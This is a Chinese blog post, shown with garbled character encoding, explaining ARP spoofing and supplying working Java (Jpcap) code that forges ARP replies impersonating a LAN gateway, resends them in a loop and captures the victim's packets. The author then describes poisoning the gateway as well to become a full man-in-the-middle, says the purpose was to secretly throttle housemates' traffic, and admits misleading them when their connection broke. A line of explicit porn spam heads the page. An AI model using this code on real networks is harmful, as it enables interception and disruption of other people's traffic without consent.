亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

使用通過(guò)ARP類(lèi)似P2P終結(jié)者實(shí)現(xiàn)數(shù)據(jù)封包

 更新時(shí)間:2012年12月07日 12:00:32   投稿:whsnow  
目前網(wǎng)絡(luò)上類(lèi)似P2P終結(jié)者這類(lèi)軟件,主要都是基于ARP欺騙實(shí)現(xiàn)的,網(wǎng)絡(luò)上到處都有關(guān)于ARP的介紹,不過(guò)為了本文讀者不需要再去查找,我就在這里大概講解一下

如果說(shuō)最近有什么不爽的事情,那就是與人共享網(wǎng)絡(luò)的痛苦了,特別是當(dāng)其他共享者使用那些P2P工具下載軟件,而你卻看著網(wǎng)頁(yè)進(jìn)度條一點(diǎn)點(diǎn)爬的時(shí)候,那種痛苦對(duì)于我這種網(wǎng)蟲(chóng)級(jí)別的人來(lái)說(shuō),那簡(jiǎn)直就是痛不欲生。絕對(duì)不能再忍了,于是乎上網(wǎng)下載P2P終結(jié)者,哼,你們不仁我則不義,看誰(shuí)厲害。軟件下好后,立刻啟動(dòng)監(jiān)控,然后嘗試了下速度,哇,那個(gè)爽啊??上Ш镁安婚L(zhǎng),沒(méi)多久對(duì)方就跑來(lái)問(wèn)我為什么他們斷網(wǎng)了?我楞了一下,那垃圾軟件居然連對(duì)方的網(wǎng)都斷了,于是支支唔唔的應(yīng)付了他,說(shuō)我看下,總算勉強(qiáng)過(guò)關(guān),還好他們不懂電腦,不然就掉大了(貌視挺卑鄙的,別BS俺,俺也是迫不得已)。

沒(méi)辦法,那破爛軟件居然連人家網(wǎng)都斷了,我僅僅只是想給他們限速而已(還算有點(diǎn)良心),仔細(xì)查看了下文檔,使用的方式都沒(méi)問(wèn)題啊,為什么會(huì)這樣呢?想了半天也毫無(wú)頭緒,沒(méi)辦法,看來(lái)只能自己動(dòng)手了,于是乎上網(wǎng)找了些關(guān)于這方面的資料看了下,也寫(xiě)了一點(diǎn)代碼做試驗(yàn),由于時(shí)間有限也只寫(xiě)了一點(diǎn),不過(guò)總體的做法大概是有所了解,在這里就寫(xiě)一篇文章大概記錄一下自己的做法,以便作為日記又可與大眾分享下。

其實(shí)目前網(wǎng)絡(luò)上類(lèi)似P2P終結(jié)者這類(lèi)軟件,主要都是基于ARP欺騙實(shí)現(xiàn)的,網(wǎng)絡(luò)上到處都有關(guān)于ARP欺騙的介紹,不過(guò)為了本文讀者不需要再去查找,我就在這里大概講解一下。
ARP(Address Resolution Protocol)既地址解釋協(xié)議,主要的目的是用于進(jìn)行IP和MAC地址解釋的。IP是網(wǎng)絡(luò)層協(xié)議,而MAC是被數(shù)據(jù)鏈路層使用。網(wǎng)絡(luò)中兩個(gè)節(jié)點(diǎn)要進(jìn)行通信,那么首先發(fā)送端必須要知道源和目的地的MAC地址,而網(wǎng)絡(luò)層是使用IP地址,所以要獲得MAC地址,就必須通過(guò)IP地址獲取對(duì)應(yīng)的MAC地址,這樣就需要使用ARP協(xié)議將IP地址轉(zhuǎn)換為MAC地址,而同時(shí)為了能夠快速的找到目的地的MAC地址,每個(gè)節(jié)點(diǎn)都會(huì)有一個(gè)ARP緩存,用于保存已經(jīng)轉(zhuǎn)好好的MAC地址,大家可以在控制臺(tái)下使用arp –a指令查看arp緩存表。

而ARP具體過(guò)程就是當(dāng)需要通過(guò)IP獲取一個(gè)遠(yuǎn)端的的MAC地址的時(shí)候,系統(tǒng)會(huì)首先檢查ARP表中是否存在對(duì)應(yīng)的IP地址,如果沒(méi)有,則發(fā)送一個(gè)ARP廣播,當(dāng)某一個(gè)擁有這個(gè)MAC地址的節(jié)點(diǎn)收到ARP請(qǐng)求的時(shí)候,會(huì)創(chuàng)建一個(gè)ARP reply包,并發(fā)送到ARP請(qǐng)求的源節(jié)點(diǎn),ARP Reply包中就包含了目的地節(jié)點(diǎn)的MAC地址,在源節(jié)點(diǎn)接受到這個(gè)reply后,會(huì)將目的地節(jié)點(diǎn)的MAC地址保存在ARP緩存表中,下一次再次請(qǐng)求同一IP地址的時(shí)候,系統(tǒng)將會(huì)從ARP表中直接獲取目的地MAC地址,而不需要再次發(fā)送ARP廣播。

看到這里,ARP的具體過(guò)程大概講解了一遍,希望能夠解釋清楚。相信有心的朋友一定已經(jīng)開(kāi)始考慮ARP欺騙的原理了吧,其實(shí)就是利用ARP表進(jìn)行ARP欺騙,比如一臺(tái)局域網(wǎng)內(nèi)的機(jī)器A,通過(guò)網(wǎng)關(guān)B進(jìn)行internet連接,而它的arp表中保存著網(wǎng)關(guān)B的IP和MAC地址對(duì),如下:
192.168.1.1 —> MAC1(懶得寫(xiě)那么長(zhǎng)了,就以MAC1作為MAC地址了)

那么也就是說(shuō),當(dāng)A想上網(wǎng)的時(shí)候,他所有的數(shù)據(jù)都將先發(fā)送到網(wǎng)關(guān)再由網(wǎng)關(guān)轉(zhuǎn)發(fā)出去,那么A的數(shù)據(jù)首先會(huì)通過(guò)192.168.1.1找到網(wǎng)關(guān)的MAC地址MAC1,然后就可把數(shù)據(jù)發(fā)送到網(wǎng)關(guān)了。此時(shí)你的機(jī)器是C,MAC地址是MAC2,你想通過(guò)ARP欺騙來(lái)獲取A傳輸?shù)臄?shù)據(jù),那么你所需要做的事情其實(shí)很簡(jiǎn)單,就是將機(jī)器A的ARP表中192.168.1.1對(duì)應(yīng)的MAC地址MAC1改成MAC2即可,這樣子機(jī)器A所有發(fā)送到192.168.1.1的數(shù)據(jù)就會(huì)發(fā)到MAC地址為MAC2的機(jī)器上,也就是你的機(jī)器上了。

要更改APR表的記錄,辦法就是偽造一個(gè)ARP reply包發(fā)送給機(jī)器A,而這個(gè)ARP reply包中的源IP為192.168.1.1,MAC地址為MAC2既你的機(jī)器的MAC地址即可,機(jī)器A接受到后就會(huì)將這個(gè)源IP和MAC刷新到它的ARP緩存表中,覆蓋原有的記錄,最終這樣就可以達(dá)到ARP欺騙的目的了。

在這里,我實(shí)現(xiàn)了一個(gè)簡(jiǎn)單的封包截取程序,根據(jù)ARP欺騙的原理,我們所需要做的事情如下
1、構(gòu)建一個(gè)ARP Reply包
2、將該封包發(fā)送到需要欺騙的機(jī)器

代碼如下:

復(fù)制代碼 代碼如下:

public class LocalListener {
private final static String GATE_IP = "192.168.11.1";
private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap; //與設(shè)備的連接
private JpcapSender sender; //用于發(fā)送的實(shí)例
private Packet replyPacket; //ARP reply包
private NetworkInterface device; //當(dāng)前機(jī)器網(wǎng)卡設(shè)備
private IpMacMap targetIpMacMap; //目的地IP MAC對(duì)
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices = JpcapCaptor.getDeviceList(); device = devices[1];
this.targetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開(kāi)與設(shè)備的連接
jpcap.setFilter("ip", true); 
sender = jpcap.getJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply包的源IP和MAC地址,此IP-MAC對(duì)將會(huì)被映射到ARP表
IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
//創(chuàng)建修改目標(biāo)機(jī)器ARP的包
replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
//創(chuàng)建以太網(wǎng)頭信息,并打包進(jìn)reply包
replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
device.mac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
//發(fā)送reply封包,修改目的地arp表, arp表會(huì)在一段時(shí)間內(nèi)被更新,所以需要不停發(fā)送
while(true){
send();
try {
Thread.sleep(500);
} catch (InterruptedException ex) {
Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
});
t.start();
//截獲當(dāng)前網(wǎng)絡(luò)設(shè)備的封包收發(fā)信息
while(true){
IPPacket ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
}
}}

//IP-MAC實(shí)體,只用于保存一對(duì)IP-MAC地址
public class IpMacMap {
private String ip;
private byte[] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte[] mac){
this.ip = ip;
this.mac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public byte[] getMac() {
return mac;
}
public void setMac(byte[] mac) {
this.mac = mac;
}
}
//ARP reply包生成類(lèi),用于根據(jù)目的地址和源地址生成reply包
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網(wǎng)類(lèi)型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網(wǎng)絡(luò)協(xié)議類(lèi)型
arpTarget.operation = ARPPacket.ARP_REPLY; //選擇REPLY類(lèi)型
arpTarget.hlen = 6; //MAC地址長(zhǎng)度固定6個(gè)字節(jié)
arpTarget.plen = 4; //IP地址長(zhǎng)度固定4個(gè)字節(jié)
arpTarget.target_hardaddr = target.getMac();
arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
arpTarget.sender_hardaddr = sender.getMac();
arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
return arpTarget;
}
}


//根據(jù)目的地MAC和源MAC構(gòu)建以太網(wǎng)頭信息,用于傳輸數(shù)據(jù)
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //創(chuàng)建一個(gè)以太網(wǎng)頭
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //選擇以太包類(lèi)型
ethToTarget.dst_mac = targetMac;
ethToTarget.src_mac = senderMac;
return ethToTarget;
}
}

如上代碼實(shí)現(xiàn)了創(chuàng)建一個(gè)發(fā)送到IP為192.168.11.4的機(jī)器的ARP reply封包,其中可看到,reply包中的源IP為192.168.11.1,而源MAC則被改成當(dāng)前機(jī)器的MAC地址,既device.mac_address,這樣當(dāng)192.168.11.4的機(jī)器接收到該reply包后,就會(huì)刷新ARP表,并且所有發(fā)送往192.168.11.1的數(shù)據(jù)都會(huì)實(shí)際發(fā)送到當(dāng)前運(yùn)行該程序的機(jī)器。程序中創(chuàng)建了一個(gè)線程用于循環(huán)發(fā)送reply封包,主要是因?yàn)锳RP表會(huì)在一定時(shí)間內(nèi)更新,所以要器,卻導(dǎo)致對(duì)方無(wú)法上網(wǎng),知道有問(wèn)題啦,所以以上程序仍然要加個(gè)補(bǔ)充,那就是將封包數(shù)據(jù)在轉(zhuǎn)發(fā)到192.168.11.1上,只要將截獲的封包再send出去就可以了,具體如何做就留給大家想吧,困了,休息了,如果有朋友有興趣又實(shí)在想不出如何做的話,可以向我提出來(lái),有必要的話,下次再貼一個(gè)完整點(diǎn)的例子吧。

對(duì)了,最后還有補(bǔ)充的地方,那就是我們可以通過(guò)同樣的方式刷新網(wǎng)關(guān)的ARP,這樣網(wǎng)關(guān)接受到的數(shù)據(jù)也會(huì)被本機(jī)截獲,同樣再通過(guò)本機(jī)轉(zhuǎn)發(fā)到目的機(jī)器即可。這樣對(duì)方既可正常上網(wǎng),而我們又可截獲對(duì)方的數(shù)據(jù)包,如果要進(jìn)行限速的話,那就是在截獲封包的同時(shí),進(jìn)行一定的延時(shí),比如一秒只允許多少K的數(shù)據(jù)通過(guò),都可以在這里做手腳,同樣的,具體如何留給大家想吧,^ o ^。

相關(guān)文章

  • Java請(qǐng)求轉(zhuǎn)發(fā)和請(qǐng)求重定向區(qū)別詳解

    Java請(qǐng)求轉(zhuǎn)發(fā)和請(qǐng)求重定向區(qū)別詳解

    這篇文章主要介紹了Java請(qǐng)求轉(zhuǎn)發(fā)和請(qǐng)求重定向區(qū)別詳解,請(qǐng)求轉(zhuǎn)發(fā)和請(qǐng)求重定向,但二者是完全不同的,所以我們今天就來(lái)盤(pán)他們的區(qū)別介紹,需要的朋友可以參考一下
    2022-07-07
  • Java比較問(wèn)題詳細(xì)分析

    Java比較問(wèn)題詳細(xì)分析

    本篇文章主要給大家講解了Java中比較問(wèn)題的相關(guān)知識(shí),一起參考學(xué)習(xí)下吧。
    2017-12-12
  • 帶你快速搞定java多線程(5)

    帶你快速搞定java多線程(5)

    這篇文章主要介紹了java多線程編程實(shí)例,分享了幾則多線程的實(shí)例代碼,具有一定參考價(jià)值,加深多線程編程的理解還是很有幫助的,需要的朋友可以參考下
    2021-07-07
  • 關(guān)于Java中反射機(jī)制的深入講解

    關(guān)于Java中反射機(jī)制的深入講解

    反射(Reflection)是Java 程序開(kāi)發(fā)語(yǔ)言的特征之一,它允許運(yùn)行中的 Java 程序獲取自身的信息,并且可以操作類(lèi)或?qū)ο蟮膬?nèi)部屬性,下面這篇文章主要給大家介紹了關(guān)于Java中反射機(jī)制的相關(guān)資料,需要的朋友可以參考下
    2018-08-08
  • SpringBoot2整合JTA組件實(shí)現(xiàn)多數(shù)據(jù)源事務(wù)管理

    SpringBoot2整合JTA組件實(shí)現(xiàn)多數(shù)據(jù)源事務(wù)管理

    這篇文章主要介紹了SpringBoot2整合JTA組件實(shí)現(xiàn)多數(shù)據(jù)源事務(wù)管理,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2021-03-03
  • Java中的值傳遞和引用傳遞區(qū)別解析

    Java中的值傳遞和引用傳遞區(qū)別解析

    這篇文章主要介紹了Java中的值傳遞和引用傳遞區(qū)別解析,引用類(lèi)型的變量保存引用值,“引用值”指向內(nèi)存空間的地址,代表了某個(gè)對(duì)象的引用,而不是對(duì)象本身,對(duì)象本身存放在該引用值所表示的地址的位置,包含:數(shù)組、類(lèi)、接口,需要的朋友可以參考下
    2023-11-11
  • RestTemplate發(fā)送form-data請(qǐng)求上傳rul資源文件及對(duì)象參數(shù)方式

    RestTemplate發(fā)送form-data請(qǐng)求上傳rul資源文件及對(duì)象參數(shù)方式

    這篇文章主要介紹了RestTemplate發(fā)送form-data請(qǐng)求上傳rul資源文件及對(duì)象參數(shù)方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-01-01
  • SpringAOP中的動(dòng)態(tài)代理技術(shù)深入解析

    SpringAOP中的動(dòng)態(tài)代理技術(shù)深入解析

    這篇文章主要介紹了SpringAOP中的動(dòng)態(tài)代理技術(shù)深入解析,spring默認(rèn)使用JDK動(dòng)態(tài)代理實(shí)現(xiàn)AOP,類(lèi)如果實(shí)現(xiàn)了接口,spring就會(huì)用JDK動(dòng)態(tài)代理實(shí)現(xiàn)AOP,如果目標(biāo)類(lèi)沒(méi)有實(shí)現(xiàn)接口,spring則使用Cglib動(dòng)態(tài)代理來(lái)實(shí)現(xiàn)AOP,需要的朋友可以參考下
    2024-01-01
  • MyBatis在insert插入操作時(shí)返回主鍵ID的配置(推薦)

    MyBatis在insert插入操作時(shí)返回主鍵ID的配置(推薦)

    這篇文章主要介紹了MyBatis在insert插入操作時(shí)返回主鍵ID的配置的相關(guān)資料,需要的朋友可以參考下
    2017-10-10
  • Java?nacos動(dòng)態(tài)配置實(shí)現(xiàn)流程詳解

    Java?nacos動(dòng)態(tài)配置實(shí)現(xiàn)流程詳解

    使用動(dòng)態(tài)配置的原因是properties和yaml是寫(xiě)到項(xiàng)目中的,好多時(shí)候有些配置需要修改,每次修改就要重新啟動(dòng)項(xiàng)目,不僅增加了系統(tǒng)的不穩(wěn)定性,也大大提高了維護(hù)成本,非常麻煩,且耗費(fèi)時(shí)間
    2022-09-09

最新評(píng)論